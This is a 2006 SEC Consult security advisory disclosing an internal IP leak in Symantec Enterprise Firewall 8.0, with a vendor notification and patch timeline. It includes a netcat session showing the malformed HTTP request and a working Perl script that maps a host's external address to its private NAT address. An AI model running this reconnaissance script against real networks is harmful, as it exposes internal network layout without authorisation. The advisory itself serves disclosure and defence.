SEC Consult SA-20060512-0 :: Symantec Enterprise Firewall NAT/HTTP Proxy Private IP Exposure

[Bernhard Mueller <research@xxxxxxxxxxxxxxx>]

SEC Consult Security Advisory 20060512-0
==============================================================
                  title: Symantec Enterprise Firewall NAT/HTTP
                         Proxy Private IP Exposure
                program: Symantec Enterprise FW
     vulnerable version: 8.0
               homepage: www.symantec.com
                  found: 2005-09-13
                     by: SEC Consult / www.sec-consult.com
==============================================================

Vendor description:
---------------

Symantec's Enterprise Firewall provides complete network protection by
integrating smart application-level proxies, network circuits and packet
filtering into a special perimeter-security architecture (...)


Vulnerabilty overview:
---------------

Enterprise FW leaks internal IPs of natted machines in response to
certain HTTP requests.


Vulnerability details:
---------------

A request of the form "get/XX HTTP/1.0" (note the missing space)
triggers the exposure. The firewall seems to forward the request and to
wait a certain time for a reply from the webserver, until the timeout is
reaches. the final response from the firewall looks like:

df0rm@b4byl0n:~> netcat www.behind-raptor.com 80
get/01 http/1.0
HTTP/1.1 504 Gateway Timeout
MIME-Version: 1.0
Server: Simple, Secure Web Server 1.1
Date: Tue, 13 Sep 2005 06:23:32 GMT
Connection: close
Content-Type: text/html

[...]

The request seen by the firewall was:
<tt><ul><li>
         http://10.238.94.57/01



Here's a simple script to map external to internal IPs.

---------------

#!/usr/bin/perl
# [title] raptor firewall internal IP disclosure 'exploit'
# [mailto] research [at] sec-consult [dot} com
#
# sk0L@b4byl0n:~/home/sk0L> perl raptor-nat.pl behind.raptor.com
# waiting for timeout (this can take about 1 min.)
# behind.raptor.com: 10.238.94.67

use IO::Socket;

$| = 1;

$host = $ARGV[0] or die "$0 <host>\n";

$request = "getXXX/XXX HTTP/1.0\n\n";

my $sock = new IO::Socket::INET (
                 PeerAddr => $host,
                 PeerPort => 80,
                 Proto => 'tcp',
);

die "could not open socket: $!\n" unless $sock;

print $sock $request;

print "waiting for timeout (this can take about 1 min.)\n";

while (<$sock>) {
                 if ($_ =~ /http:\/\/(\d+\.\d+\.\d+\.\d+)XXX/) {
                                 $ip = $1;
                 }
}

if (defined($ip)) {
                 print "$host: $ip\n";
} else {
                 print "failed.\n";
}

close($sock);


vendor status:
---------------
vendor notified: 2005-09-13
vendor response: 2005-09-13
patch available: 2005-12


General remarks
---------------
We would like to apologize in advance for potential nonconformities
and/or known issues.

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EOF SEC Consult / @2006
research at sec-consult dot com